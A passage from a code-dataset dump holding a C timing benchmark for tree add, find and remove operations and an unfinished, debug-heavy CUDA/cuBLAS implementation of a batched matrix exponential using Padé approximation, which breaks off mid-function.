language
large_stringclasses 1
value | text
stringlengths 9
2.95M
|
|---|---|
C
|
#include <stdlib.h>
#include <time.h>
#include <math.h>
#include <stdio.h>
#include "tree.h"
#include "test.h"
char * rand_str(int len) {
char * str = (char *)calloc(len + 1, sizeof(char));
if (!str) return NULL;
char * cur = str;
int n = 26;
int d = 'a';
for (int i = 0; i < len; i++) {
int r = rand()%n;
*cur = d + r;
cur++;
}
*cur = '\0';
return str;
}
int rand_int(int max) {
return rand()%max;
}
int test(int count) {
Tree * tree = tree_new();
srand(time(NULL));
int * keys = (int *)calloc(count, sizeof(int));
if (!keys) return 1;
double t_add = 0, t_find = 0, t_remove = 0;
int len = 10 * (int)(2 * log(count) / log(26.0));
int num = 0;
while (num < count) {
int key = rand_int(20);
char * info1 = rand_str(len);
char * info2 = rand_str(len);
if (!info1 || !info2) {
free(info1);
free(info2);
free(keys);
tree_delete(tree->root);
printf("ERROR: Memory is over\n");
return 1;
}
keys[num] = key;
num++;
clock_t t = clock();
tree_add(tree, info1, info2, key);
t_add += (double)(clock() - t)/CLOCKS_PER_SEC;
free(info1);
free(info2);
}
t_add /= count;
for (int i = 0; i < count; i++) {
clock_t t = clock();
tree_find(tree, keys[i], 0);
t_find += (double)(clock() - t)/CLOCKS_PER_SEC;
}
t_find /= count;
for (int i = 0; i < count; i++) {
clock_t t = clock();
tree_remove(tree, keys[i], -1);
t_remove += (double)(clock() - t)/CLOCKS_PER_SEC;
}
t_remove /= count;
free(keys);
printf("Number:\t%d\nLength:\t%d\n", count, len);
printf("Addition: average time\t%.10f\n", t_add);
printf("Finding: average time\t%.10f\n", t_find);
printf("Removing: average time\t%.10f\n", t_remove);
tree_delete(tree->root);
return 0;
}
|
C
|
// *** 29/03/2019 *** --> BATCHED WITH STREAMS
// [1] Race condition
#include <cstdio>
#include <cstdlib>
#include <math.h>
#include <time.h>
#include <cublas_v2.h>
#include <cuComplex.h>
#define BLOCK_SIZE 32
__global__ void ell_kernel(cuDoubleComplex* A, cuDoubleComplex* B, int dim, int* m_val, int k, int val){
const int tid_x = blockDim.x*blockIdx.x + threadIdx.x;
extern __device__ double s_nrm_one[];
extern __device__ double s_nrm_two[];
if(tid_x ==0){
if(k==5 && val == 13){
printf("executed\n");
}
}
if(tid_x < dim) {
double sum_nrm_one = 0; // Private variable to hold column sum
double sum_nrm_two = 0; // Private variable to hold column sum
for (int i = 0; i < dim; i++) {
sum_nrm_one += cuCabs(A[(i*dim) + tid_x]);
sum_nrm_two += cuCabs(B[(i*dim) + tid_x]);
}
s_nrm_one[tid_x] = sum_nrm_one;
s_nrm_two[tid_x] = sum_nrm_two;
}
__syncthreads(); // SPLIT THE KERNEL HERE?
if(tid_x == 1) {
double second_norm = 0;
double first_norm = 0;
for (int i = 0; i < dim; i++) {
if(first_norm < s_nrm_one[i])
first_norm = s_nrm_one[i];
}
for (int i = 0; i < dim; i++) {
if(second_norm < s_nrm_two[i])
second_norm = s_nrm_two[i];
}
double alpha = second_norm/first_norm;
double output = ceil(log2((2 * alpha) / 2.220446049250313e-16) / (2 * val));
if(k == 5){
printf("FIRST NORM IS: %lf \n", first_norm);
printf("SECOND NORM IS: %lf \n", second_norm);
printf("ALPHA IS: %lf \n", alpha);
}
if(output <= 0.0)
m_val[k] = 0.0;
if(val == 13){
m_val[k] = output;
}
}
}
__global__ void HELP(cuDoubleComplex* A, cuDoubleComplex* B, int dim, int* m_val, int k, int val){
const int tid_x = blockDim.x*blockIdx.x + threadIdx.x;
extern __device__ double s_nrm_oness[];
extern __device__ double s_nrm_twoss[];
if(tid_x < dim) {
double sum_nrm_one = 0; // Private variable to hold column sum
double sum_nrm_two = 0; // Private variable to hold column sum
for (int i = 0; i < dim; i++) {
sum_nrm_one += cuCabs(A[(i*dim) + tid_x]);
sum_nrm_two += cuCabs(B[(i*dim) + tid_x]);
if(i == dim-1){
printf("1ST: %lf \n", sum_nrm_one);
printf("2ND: %lf \n", sum_nrm_two);
}
}
if(tid_x == 0){
s_nrm_oness[tid_x] = sum_nrm_one;
s_nrm_oness[tid_x+1] = sum_nrm_two;
}
else{
s_nrm_oness[tid_x+1] = sum_nrm_one;
s_nrm_oness[tid_x+2] = sum_nrm_two;
}
}
__syncthreads(); // SPLIT THE KERNEL HERE?
if(tid_x == 0) {
double first_norm = 0;
double second_norm = 0;
printf("1ST -->: %lf \n", s_nrm_oness[0]);
printf("2ND -->: %lf \n", s_nrm_oness[2]);
for (int i = 0; i < dim; i = i = i+ 2 ) {
if(first_norm < s_nrm_oness[i])
first_norm = s_nrm_oness[i];
if(second_norm < s_nrm_oness[i+1])
second_norm = s_nrm_oness[i+1];
}
double alpha = second_norm/first_norm;
double output = ceil(log2((2 * alpha) / 2.220446049250313e-16) / (2 * val));
if(k == 5){
printf("1ST: %lf \n", first_norm);
printf("2ND: %lf \n", second_norm);
printf("ALPHA IS: %lf \n", alpha);
}
if(output <= 0.0)
m_val[k] = 0.0;
if(val == 13){
m_val[k] = output;
}
}
int X = 5;
if (tid_x == 0) {
printf("THE X IS %d \n", X);
}
}
__global__ void identity_kernel(cuDoubleComplex* identity, int dim){
const int tid_x = blockDim.x*blockIdx.x + threadIdx.x;
const int tid_y = blockDim.y*blockIdx.y + threadIdx.y;
if(tid_x < dim && tid_y < dim) {
identity[(dim*tid_x) + tid_y].y = 0;
if(tid_x == tid_y)
identity[(dim*tid_x) + tid_y].x = 1;
else
identity[(dim*tid_x) + tid_y].x = 0;
}
}
__global__ void absolute_kernel(cuDoubleComplex* A, int dim){
const int tid_x = blockDim.x*blockIdx.x + threadIdx.x;
const int tid_y = blockDim.y*blockIdx.y + threadIdx.y;
if(tid_x < dim && tid_y < dim) {
A[(dim*tid_y) + tid_x].x = cuCabs((A[(dim*tid_y) + tid_x]));
A[(dim*tid_y) + tid_x].y = 0;
}
}
__global__ void get_one_norm( cuDoubleComplex* A, double* res, int k, int dim){
const int tid_x = blockDim.x*blockIdx.x + threadIdx.x;
extern __device__ double s[];
double sum = 0;
res[k] = 0;
if(tid_x < dim){
for (int i = 0; i < dim; ++i){
sum += cuCabs(A[(i*dim) + tid_x]);
}
s[tid_x] = sum;
}
__syncthreads();
if (tid_x == 0) {
printf("THE DIM IS %d \n", dim);
for (int i = 0; i < dim; i++){
if(res[k] < s[i])
res[k] = s[i];
}
}
}
void matrix_complex_print(cuDoubleComplex* A, int network_size){
for (int j = 0; j < network_size; j++){
printf("[");
for (int k = 0; k < network_size; k++){
printf(" %lf ", A[(j*network_size) + k].x );
printf("+");
printf("%lfi ", A[(j*network_size) + k].y );
}
printf("]");
printf("\n");
}
}
void write_input_matrix(cuDoubleComplex *A, int n) {
FILE *f;
f = fopen("/home/c1673666/expm_Cuda/cuda/Quantum-Simulator/CUDA_INPUT.txt", "w");
if (f == NULL) {
printf("Error opening file!\n");
exit(1);
}
for (int j = 0; j < n; ++j) {
for (int i = 0; i < n; ++i) {
if (i == n - 1) {
if (A[(n * j) + i].x == INFINITY) {
fprintf(f, "Inf");
}
else {
fprintf(f, "%lf", A[(j*n) + i].x );
fprintf(f, "+");
fprintf(f, "%lfi ", A[(j*n) + i].y );
}
} else {
if (A[(n * j) + i].x == INFINITY) {
fprintf(f, "Inf ");
}
else {
fprintf(f, "%lf", A[(j*n) + i].x );
fprintf(f, "+");
fprintf(f, "%lfi ", A[(j*n) + i].y );;
}
}
}
fprintf(f, "\n");
}
}
void set_Identity(cuDoubleComplex* A, int dim, cudaStream_t stream){
int dimensions = (int) ceil((float)(dim)/BLOCK_SIZE);
dim3 dimGrid(dimensions, dimensions, 1);
dim3 dimBlock(BLOCK_SIZE,BLOCK_SIZE,1);
identity_kernel<<<dimGrid, dimBlock, 0, stream>>>(A, dim);
}
// Scale a matrix
void scale_tester(cublasHandle_t handle, cuDoubleComplex* d_A, cuDoubleComplex* d_C, const cuDoubleComplex alf, int n){
const cuDoubleComplex bet = make_cuDoubleComplex(0, 0);
const cuDoubleComplex *alpha = &alf;
const cuDoubleComplex *beta = &bet;
cublasZgeam(handle, CUBLAS_OP_N, CUBLAS_OP_N, n, n, alpha, d_A, n, beta, NULL, n, d_C, n);
}
// Scale first matrix and then add the second matrix to the result:
void scale_and_add(cublasHandle_t handle, cuDoubleComplex* d_A, cuDoubleComplex* d_B, cuDoubleComplex* d_C, const cuDoubleComplex alf, int n, cudaStream_t my_stream){
const cuDoubleComplex bet = make_cuDoubleComplex(1, 0);
const cuDoubleComplex *alpha = &alf;
const cuDoubleComplex *beta = &bet;
cublasSetStream(handle, my_stream);
cublasZgeam(handle, CUBLAS_OP_N, CUBLAS_OP_N, n, n, alpha, d_A, n, beta, d_B, n, d_C, n);
}
// Scale first matrix and then add the second matrix to the result:
void scale_and_add_alt(cublasHandle_t handle, cuDoubleComplex* d_A, cuDoubleComplex* d_B, cuDoubleComplex* d_C, const cuDoubleComplex alf, int n){
const cuDoubleComplex bet = make_cuDoubleComplex(1, 0);
const cuDoubleComplex *alpha = &alf;
const cuDoubleComplex *beta = &bet;
cublasZgeam(handle, CUBLAS_OP_N, CUBLAS_OP_N, n, n, alpha, d_A, n, beta, d_B, n, d_C, n);
}
// Scale first matrix and then subtract the second matrix from result:
void scale_and_subtract(cublasHandle_t handle, cuDoubleComplex* d_A, cuDoubleComplex* d_B, cuDoubleComplex* d_C, const cuDoubleComplex alf, int n){
const cuDoubleComplex bet = make_cuDoubleComplex(-1, 0);
const cuDoubleComplex *alpha = &alf;
const cuDoubleComplex *beta = &bet;
cublasZgeam(handle, CUBLAS_OP_N, CUBLAS_OP_N, n, n, alpha, d_A, n, beta, d_B, n, d_C, n);
}
// Scale both the first and second matrix by there respective complex factors and add the results to eachother:
void scale_and_add_complete(cublasHandle_t handle, cuDoubleComplex* d_A, cuDoubleComplex* d_B, cuDoubleComplex* d_C, const cuDoubleComplex alf, const cuDoubleComplex bet, int n){
const cuDoubleComplex *alpha = &alf;
const cuDoubleComplex *beta = &bet;
cublasZgeam(handle, CUBLAS_OP_N, CUBLAS_OP_N, n, n, alpha, d_A, n, beta, d_B, n, d_C, n);
}
void Inverse_Batched(cublasHandle_t handle, cuDoubleComplex** d_A, cuDoubleComplex** inverse, int dim, int batch_count){
cublasHandle_t my_handle;
int* PIVOTS;
int* INFO;
// Create a cublas status object
cublasStatus_t status;
status = cublasCreate(&my_handle);
cudaMalloc(&PIVOTS, dim * batch_count* sizeof(int)), "Failed to allocate pivots!";
cudaMalloc(&INFO, batch_count*sizeof(int)), "Failed to allocate info!";
// Perform the LU factorization for each matrix in the batch:
status = cublasZgetrfBatched(handle, dim, d_A, dim, PIVOTS, INFO, batch_count);
cudaDeviceSynchronize();
if(status!=CUBLAS_STATUS_SUCCESS)
printf("ERROR!!\n");
int INFOh[batch_count];
cudaMemcpy(INFOh, INFO, batch_count*sizeof(int), cudaMemcpyDeviceToHost);
for (int i = 0; i < batch_count; i++){
if(INFOh[i] != 0)
fprintf(stderr, "Factorization of matrix %d Failed: Matrix may be singular\n", i);
}
status = cublasZgetriBatched(handle, dim, (const cuDoubleComplex**)d_A, dim, (const int*) PIVOTS, inverse, dim, INFO, batch_count);
cudaDeviceSynchronize();
if(status!=CUBLAS_STATUS_SUCCESS)
printf("ERROR!!\n");
cudaMemcpy(INFOh, INFO, batch_count*sizeof(int), cudaMemcpyDeviceToHost);
for (int i = 0; i < batch_count; i++){
if(INFOh[i] != 0)
fprintf(stderr, "Factorization of matrix %d Failed: Matrix may be singular\n", i);
}
}
void get_pade_coefficients(double *buf, int m) {
double coefficients[5][14] = {
{120, 60, 12, 1},
{30240, 15120, 3360, 420, 30, 1},
{17297280, 8648640, 1995840, 277200, 25200, 1512, 56 ,1},
{17643225600, 8821612800, 2075673600, 302702400, 30270240, 2162160, 110880, 3960, 90, 1},
{64764752532480000, 32382376266240000, 7771770303897600, 1187353796428800, 129060195264000, 10559470521600, 670442572800, 33522128640, 1323241920, 40840800, 960960, 16380, 182, 1}
};
switch (m) {
case 3 : {
buf = coefficients[0];
}
case 5 : {
buf = coefficients[1];
}
case 7 : {
buf = coefficients[2];
}
case 9 : {
buf = coefficients[3];
}
case 13 : {
for (int i = 0; i < sizeof(coefficients[4]) / sizeof(double); i++) {
buf[i] = coefficients[4][i];
}
}
default:
break;
}
}
extern "C" void expm_initialization(void* input, cuDoubleComplex* output, int dim, int batch_count) {
// ISSUE WITH TWO ARRAYS IN ONE-NORM METHOD or introduce serial version
//int main(int argc, char* argv[])
//{
/* *** Intial setup ***
--------------------
*/
// Size of matrix input:
// int dim = 256;
// // Number of matrices in the batch:
// int batch_count = 10;
// // Allocate host memory for input arrry:
// cuDoubleComplex **A = (cuDoubleComplex**)malloc(batch_count*sizeof(cuDoubleComplex*));
// for(int i=0; i<batch_count; i++) {
// A[i] = (cuDoubleComplex*)malloc(dim*dim*sizeof(cuDoubleComplex));
// }
// // INITIALIZE BATCHES WITH DUMMY DATA:
// for (int i = 0; i< batch_count; i++) {
// for(int j = 0; j< dim; j++){
// for (int k = 0; k < dim; k++)
// {
// A[i][(dim*j) + k] = make_cuDoubleComplex(i,i);
// }
// }
// }
cuDoubleComplex *A = (cuDoubleComplex*)malloc(batch_count*sizeof(cuDoubleComplex*));
A = (cuDoubleComplex*)input;
// Write input matrix for comparison:
write_input_matrix(A + 5*(dim*dim), dim);
// Create cublas instance
cublasHandle_t handle;
cublasCreate(&handle);
cublasHandle_t handle2;
cublasCreate(&handle2);
// Create cublas instance
cudaStream_t streams[5];
int n_streams = 5;
for (int i = 0; i < 5; i++) {
cudaStreamCreate(&streams[i]);
}
// Bind streams to handles:
cublasSetStream(handle2, streams[2]);
// Create host pointer array to device matrix storage
cuDoubleComplex **d_T1, **d_T2, **d_T4, **d_T6, **d_T8, **d_T10, **d_A, **d_B, **d_C, **d_identity; // Device pointers to device arrays
cuDoubleComplex **h_d_T1, **h_d_T2, **h_d_T4, **h_d_T6, **h_d_T8, **h_d_T10, **h_d_A, **h_d_B, **h_d_C, **h_d_identity; // Host pointers to device arrays
h_d_T1 = (cuDoubleComplex**)malloc(batch_count*sizeof(cuDoubleComplex*));
h_d_T2 = (cuDoubleComplex**)malloc(batch_count*sizeof(cuDoubleComplex*));
h_d_T4 = (cuDoubleComplex**)malloc(batch_count*sizeof(cuDoubleComplex*));
h_d_T6 = (cuDoubleComplex**)malloc(batch_count*sizeof(cuDoubleComplex*));
h_d_T8 = (cuDoubleComplex**)malloc(batch_count*sizeof(cuDoubleComplex*));
h_d_T10 = (cuDoubleComplex**)malloc(batch_count*sizeof(cuDoubleComplex*));
h_d_A = (cuDoubleComplex**)malloc(batch_count*sizeof(cuDoubleComplex*));
h_d_B = (cuDoubleComplex**)malloc(batch_count*sizeof(cuDoubleComplex*));
h_d_C = (cuDoubleComplex**)malloc(batch_count*sizeof(cuDoubleComplex*));
h_d_identity = (cuDoubleComplex**)malloc(batch_count*sizeof(cuDoubleComplex*));
for(int i=0; i<batch_count; i++) {
cudaMalloc((void**)&h_d_T1[i], dim*dim*sizeof(cuDoubleComplex));
cudaMalloc((void**)&h_d_T2[i], dim*dim*sizeof(cuDoubleComplex));
cudaMalloc((void**)&h_d_T4[i], dim*dim*sizeof(cuDoubleComplex));
cudaMalloc((void**)&h_d_T6[i], dim*dim*sizeof(cuDoubleComplex));
cudaMalloc((void**)&h_d_T8[i], dim*dim*sizeof(cuDoubleComplex));
cudaMalloc((void**)&h_d_T10[i], dim*dim*sizeof(cuDoubleComplex));
cudaMalloc((void**)&h_d_identity[i], dim*dim*sizeof(cuDoubleComplex));
}
// Copy the host array of device pointers to the device
cudaMalloc((void**)&d_T1, batch_count*sizeof(cuDoubleComplex*));
cudaMalloc((void**)&d_T2, batch_count*sizeof(cuDoubleComplex*));
cudaMalloc((void**)&d_T4, batch_count*sizeof(cuDoubleComplex*));
cudaMalloc((void**)&d_T6, batch_count*sizeof(cuDoubleComplex*));
cudaMalloc((void**)&d_T8, batch_count*sizeof(cuDoubleComplex*));
cudaMalloc((void**)&d_T10, batch_count*sizeof(cuDoubleComplex*));
cudaMalloc((void**)&d_identity, batch_count*sizeof(cuDoubleComplex*));
cudaMemcpy(d_T1, h_d_T1, batch_count*sizeof(cuDoubleComplex*), cudaMemcpyHostToDevice);
cudaMemcpy(d_T2, h_d_T2, batch_count*sizeof(cuDoubleComplex*), cudaMemcpyHostToDevice);
cudaMemcpy(d_T4, h_d_T4, batch_count*sizeof(cuDoubleComplex*), cudaMemcpyHostToDevice);
cudaMemcpy(d_T6, h_d_T6, batch_count*sizeof(cuDoubleComplex*), cudaMemcpyHostToDevice);
cudaMemcpy(d_T8, h_d_T8, batch_count*sizeof(cuDoubleComplex*), cudaMemcpyHostToDevice);
cudaMemcpy(d_T10, h_d_T10, batch_count*sizeof(cuDoubleComplex*), cudaMemcpyHostToDevice);
cudaMemcpy(d_identity, h_d_identity, batch_count*sizeof(cuDoubleComplex*), cudaMemcpyHostToDevice);
for(int i=0; i<batch_count; i++) {
cudaMalloc((void**)&h_d_A[i], dim*dim*sizeof(cuDoubleComplex));
cudaMalloc((void**)&h_d_B[i], dim*dim*sizeof(cuDoubleComplex));
cudaMalloc((void**)&h_d_C[i], dim*dim*sizeof(cuDoubleComplex));
}
// Copy the host array of device pointers to the device
cudaMalloc((void**)&d_A, batch_count*sizeof(cuDoubleComplex*));
cudaMalloc((void**)&d_B, batch_count*sizeof(cuDoubleComplex*));
cudaMalloc((void**)&d_C, batch_count*sizeof(cuDoubleComplex*));
cudaMemcpy(d_A, h_d_A, batch_count*sizeof(cuDoubleComplex*), cudaMemcpyHostToDevice);
cudaMemcpy(d_B, h_d_B, batch_count*sizeof(cuDoubleComplex*), cudaMemcpyHostToDevice);
cudaMemcpy(d_C, h_d_C, batch_count*sizeof(cuDoubleComplex*), cudaMemcpyHostToDevice);
// Copy host batch to device memory:
for(int i=0; i<batch_count; i++) {
cudaMemcpy(h_d_A[i], A + i*(dim*dim), dim*dim*sizeof(cuDoubleComplex), cudaMemcpyHostToDevice);
cudaMemcpy(h_d_T1[i], A + i*(dim*dim), dim*dim*sizeof(cuDoubleComplex), cudaMemcpyHostToDevice);
}
// Alpha and beta coeficients set for zgemm:
const cuDoubleComplex alf = make_cuDoubleComplex(1, 0);
const cuDoubleComplex bet = make_cuDoubleComplex(0, 0);
const cuDoubleComplex *alpha = &alf;
const cuDoubleComplex *beta = &bet;
/////////////////////////////////////////////////////////////////////////////////////////////////// SETUP END /////////////////////////////////////////////////////////////////////////////////////////////
// *** Powers of input matrices calculated using Batch ZGEMM **
// Calulate T2:
cublasZgemmBatched(handle,
CUBLAS_OP_N, CUBLAS_OP_N,
dim, dim, dim,
alpha,
(const cuDoubleComplex**)d_A, dim,
(const cuDoubleComplex**)d_A, dim,
beta,
d_T2, dim,
batch_count);
cudaDeviceSynchronize();
// Calculate T4:
cublasZgemmBatched(handle,
CUBLAS_OP_N, CUBLAS_OP_N,
dim, dim, dim,
alpha,
(const cuDoubleComplex**)d_T2, dim,
(const cuDoubleComplex**)d_T2, dim,
beta,
d_T4, dim,
batch_count);
cudaDeviceSynchronize();
// Calculate T6:
cublasZgemmBatched(handle,
CUBLAS_OP_N, CUBLAS_OP_N,
dim, dim, dim,
alpha,
(const cuDoubleComplex**)d_T4, dim,
(const cuDoubleComplex**)d_T2, dim,
beta,
d_T6, dim,
batch_count);
cudaDeviceSynchronize();
// Calculate T8:
cublasZgemmBatched(handle,
CUBLAS_OP_N, CUBLAS_OP_N,
dim, dim, dim,
alpha,
(const cuDoubleComplex**)d_T4, dim,
(const cuDoubleComplex**)d_T4, dim,
beta,
d_T8, dim,
batch_count);
// Calculate T10:
cublasZgemmBatched(handle,
CUBLAS_OP_N, CUBLAS_OP_N,
dim, dim, dim,
alpha,
(const cuDoubleComplex**)d_T8, dim,
(const cuDoubleComplex**)d_T2, dim,
beta,
d_T10, dim,
batch_count);
cudaDeviceSynchronize();
// Multiplication Test
// cudaMemcpy(A[5], h_d_T2[5], dim*dim*sizeof(cuDoubleComplex), cudaMemcpyDeviceToHost);
// matrix_complex_print(A[5], dim);
// exit(0);
double* d4;
double* d6;
double* d8;
double* d10;
cudaMallocHost((void**)&d4, batch_count*sizeof(double));
cudaMallocHost((void**)&d6, batch_count*sizeof(double));
cudaMallocHost((void**)&d8, batch_count*sizeof(double));
cudaMallocHost((void**)&d10, batch_count*sizeof(double));
// Cuda Grid setup:
int dimensions = ceil((float) dim/BLOCK_SIZE);
dim3 dimGrid(dimensions, 1, 1);
dim3 dimBlock(BLOCK_SIZE, 1, 1);
double* d_res;
double* d_res2;
double* d_res3;
double* d_res4;
cudaMalloc((void**)&d_res, sizeof(double)*batch_count);
cudaMalloc((void**)&d_res2, sizeof(double)*batch_count);
cudaMalloc((void**)&d_res3, sizeof(double)*batch_count);
cudaMalloc((void**)&d_res4, sizeof(double)*batch_count);
// Calculate matrix norms for each powers of A for each matrix in the batch:
for (int i = 0; i < batch_count; i++) {
get_one_norm<<<dimGrid, dimBlock, dim*sizeof(double), 0>>>(h_d_T4[i], d_res, i, dim);
get_one_norm<<<dimGrid, dimBlock, dim*sizeof(double), 0>>>(h_d_T6[i], d_res2, i, dim);
get_one_norm<<<dimGrid, dimBlock, dim*sizeof(double), 0>>>(h_d_T8[i], d_res3, i, dim);
get_one_norm<<<dimGrid, dimBlock, dim*sizeof(double), 0>>>(h_d_T10[i], d_res4, i, dim);
}
cudaDeviceSynchronize();
printf("DONE NORMS\n");
//exit(0);
cudaMemcpyAsync(d4, d_res, sizeof(double)*batch_count, cudaMemcpyDeviceToHost, streams[1]);
cudaMemcpyAsync(d6, d_res2, sizeof(double)*batch_count, cudaMemcpyDeviceToHost, streams[2]);
cudaMemcpyAsync(d8, d_res3, sizeof(double)*batch_count, cudaMemcpyDeviceToHost, streams[3]);
cudaMemcpyAsync(d10, d_res4, sizeof(double)*batch_count, cudaMemcpyDeviceToHost, streams[4]);
cudaDeviceSynchronize();
for (int i = 0; i < batch_count; i++) {
d4[i] = pow(d4[i], (1.0 / 4));
d6[i] = pow(d6[i], (1.0 / 6));
d8[i] = pow(d8[i], (1.0 / 8));
d10[i] = pow(d10[i], (1.0 / 10));
}
//printf("d6[5] is: %lf \n", d6[5]);
double* eta1 = (double*) malloc(batch_count*sizeof(double));
double* eta3 = (double*) malloc(batch_count*sizeof(double));
double* eta4 = (double*) malloc(batch_count*sizeof(double));
double* eta5 = (double*) malloc(batch_count*sizeof(double));
int* m_val = (int*) malloc(batch_count*sizeof(int));
for (int i = 0; i < batch_count; i++) {
eta1[i] = fmax(d4[i], d6[i]);
eta3[i] = fmax(d6[i], d8[i]);
eta4[i] = fmax(d8[i], d10[i]);
eta5[i] = fmin(eta3[i], eta4[i]);
}
printf("eta1[5] is: %lf \n", eta1[5]);
printf("eta3[5] is: %lf \n", eta3[5]);
printf("eta4[5] is: %lf \n", eta4[5]);
printf("eta5[5] is: %lf \n", eta5[5]);
//exit(0);
// *** Find value of m_val from set {3, 5, 7, 9, 13}
double theta[5] = {
1.495585217958292e-002, 2.539398330063230e-001,
9.504178996162932e-001, 2.097847961257068e+000,
5.371920351148152e+000
};
double error_coefficients[5] = {
1 / 100800.0, 1 / 10059033600.0, 1 / 4487938430976000.0,
1 / 113250775606021113483283660800000000.0,
1 / 113250775606021113483283660800000000.0
};
/* *** Test for m_val equal to (3) ***
--------------------------------------
*/
int* d_m_val;
cudaMalloc(&d_m_val, sizeof(int)*batch_count);
// for (int i = 0; i < batch_count; i++) {
// if(eta1[i] <=theta[1]){
// cudaMemcpyAsync(h_d_B[i], h_d_A[i], dim*dim*sizeof(cuDoubleComplex*), cudaMemcpyDeviceToDevice);
// absolute_kernel<<<dimGrid, dimBlock, 0, streams[i%3]>>>(h_d_B[i], dim);
// double p = pow(error_coefficients[1], (1.0 / (2 * 3 + 1)));
// cublasSetStream(handle, streams[i]);
// scale_tester(handle, h_d_B[i], h_d_B[i], make_cuDoubleComplex(p, 0), dim);
// ell_kernel<<<dimGrid, dimBlock, dim*sizeof(double), streams[i%3]>>>(h_d_A[i],h_d_B[i], dim, d_m_val, i, 3);
// }
// }
// cudaDeviceSynchronize();
// cudaMemcpy(m_val, d_m_val, sizeof(int)*batch_count, cudaMemcpyDeviceToHost);
/* *** Test for m_val equal to (5) ***
--------------------------------------
*/
// for (int i = 0; i < batch_count; i++) {
// if(eta1[i] <=theta[2]){
// cudaMemcpyAsync(h_d_B[i], h_d_A[i], dim*dim*sizeof(cuDoubleComplex*), cudaMemcpyDeviceToDevice);
// absolute_kernel<<<dimGrid, dimBlock>>>(h_d_B[i], dim);
// double p = pow(error_coefficients[2], (1.0 / (2 * 5 + 1)));
// scale_tester(handle, h_d_B[i], h_d_B[i], make_cuDoubleComplex(p, 0), dim);
// ell_kernel<<<dimGrid, dimBlock, dim*sizeof(double), 0>>>(h_d_A[i],h_d_B[i], dim, d_m_val, i, 5);
// }
// }
// cudaDeviceSynchronize();
// cudaMemcpy(m_val, d_m_val, sizeof(int)*batch_count, cudaMemcpyDeviceToHost);
/* *** Test for m_val equal to (7) ***
--------------------------------------
*/
// for (int i = 0; i < batch_count; i++) {
// if(eta3[i] <=theta[3]){
// cudaMemcpyAsync(h_d_B[i], h_d_A[i], dim*dim*sizeof(cuDoubleComplex*), cudaMemcpyDeviceToDevice);
// absolute_kernel<<<dimGrid, dimBlock>>>(h_d_B[i], dim);
// double p = pow(error_coefficients[3], (1.0 / (2 * 7 + 1)));
// scale_tester(handle, h_d_B[i], h_d_B[i], make_cuDoubleComplex(p, 0), dim);
// ell_kernel<<<dimGrid, dimBlock, dim*sizeof(double), 0>>>(h_d_A[i],h_d_B[i], dim, d_m_val, i, 7);
// }
// }
// cudaDeviceSynchronize();
// cudaMemcpy(m_val, d_m_val, sizeof(int)*batch_count, cudaMemcpyDeviceToHost);
/* *** Test for m_val equal to (9) ***
--------------------------------------
*/
// for (int i = 0; i < batch_count; i++) {
// if(eta3[i] <= theta[4]){
// cudaMemcpyAsync(h_d_B[i], h_d_A[i], dim*dim*sizeof(cuDoubleComplex*), cudaMemcpyDeviceToDevice);
// absolute_kernel<<<dimGrid, dimBlock>>>(h_d_B[i], dim);
// double p = pow(error_coefficients[4], (1.0 / (2 * 9 + 1)));
// scale_tester(handle, h_d_B[i], h_d_B[i], make_cuDoubleComplex(p, 0), dim);
// ell_kernel<<<dimGrid, dimBlock, dim*sizeof(double), 0>>>(h_d_A[i],h_d_B[i], dim, d_m_val, i, 9);
// }
// }
// cudaDeviceSynchronize();
// cudaMemcpy(m_val, d_m_val, sizeof(int)*batch_count, cudaMemcpyDeviceToHost);
/* *** Find the value of s indicating the number of squares that will be performed ***
--------------------------------------------------------------------------------------
*/
double* s = (double*) malloc(batch_count*sizeof(double));
double max = 0;
// Cuda Grid setup:
int dimensions_ell= ceil((float) dim/BLOCK_SIZE);
dim3 dimBlock_ell(BLOCK_SIZE, BLOCK_SIZE);
dim3 dimGrid_ell(dimensions_ell, dimensions_ell);
int* temp_array;
temp_array = (int*) malloc(sizeof(int)*batch_count);
for (int i = 0; i < batch_count; i++) {
s[i] = fmax(ceil(log2(eta5[i]/theta[4])), 0);
//Perform scale:
cublasSetStream(handle, streams[i%n_streams]);
scale_tester(handle, h_d_A[i], h_d_A[i], make_cuDoubleComplex(1/pow(2, s[i]), 0), dim);
//Perform ell:
cudaMemcpy(h_d_B[i], h_d_A[i], dim*dim*sizeof(cuDoubleComplex), cudaMemcpyDeviceToDevice);
absolute_kernel<<<dimGrid_ell, dimBlock_ell, 0, 0>>>(h_d_B[i], dim);
cudaDeviceSynchronize();
scale_tester(handle, h_d_B[i], h_d_B[i], make_cuDoubleComplex(pow(error_coefficients[4], (1.0 / (2 * 13 + 1))), 0), dim);
//ell_kernel<<<dimGrid, dimBlock, dim*sizeof(double), 0>>>(h_d_A[i],h_d_B[i], dim, d_m_val, i, 13);
//if(i ==5){
//HELP<<<dimGrid, dimBlock, dim*sizeof(double), 0>>>(h_d_A[i],h_d_B[i], dim, d_m_val, i, 13);
get_one_norm<<<dimGrid, dimBlock, dim*sizeof(double), 0>>>(h_d_A[i], d_res4, i, dim);
get_one_norm<<<dimGrid, dimBlock, dim*sizeof(double), 0>>>(h_d_B[i], d_res3, i, dim);
cudaMemcpy(d4, d_res4, sizeof(double)*batch_count, cudaMemcpyDeviceToHost);
cudaMemcpy(d6, d_res3, sizeof(double)*batch_count, cudaMemcpyDeviceToHost);
cudaDeviceSynchronize();
printf("FIRST NORM IS: %lf\n", d6[i]);
printf("----------------- \n");
printf("SECOND NORM IS: %lf\n", d4[i]);
double alpha = d6[i] / d4[i];
double output = ceil(log2((2 * alpha) / 2.220446049250313e-16) / (2 * 13));
temp_array[i] = output;
//exit(0);
//}
}
cudaDeviceSynchronize();
printf("S BEFORE IS: %lf\n", s[5]);
//exit(0);
//cudaMemcpy(temp_array, d_m_val, sizeof(int)*batch_count, cudaMemcpyDeviceToHost);
for (int i = 0; i < batch_count; i++) {
// Final value of s:
s[i] = s[i] + temp_array[i];
if(s[i] > max)
max = s[i];
}
for (int i = 0; i < batch_count; i++) {
// check s for infinity:
if (isinf(s[i])) {
printf("S/M CHECK HAS BEEN HIT\n");
exit(0);
}
else{
m_val[i] = 13;
}
}
printf("S AFTER IS: %lf\n", s[5]);
/* *** Rescale powers of A according to value of s ***
-------------------------------------------------------
*/
for (int i = 0; i < batch_count; i++) {
if (s[i]!=0) {
scale_tester(handle, h_d_T1[i], h_d_T1[i], make_cuDoubleComplex(1.0 / pow(2, (s[i] * 1)), 0), dim);
scale_tester(handle, h_d_T2[i], h_d_T2[i], make_cuDoubleComplex(1.0 / pow(2, (s[i] * 2)), 0), dim);
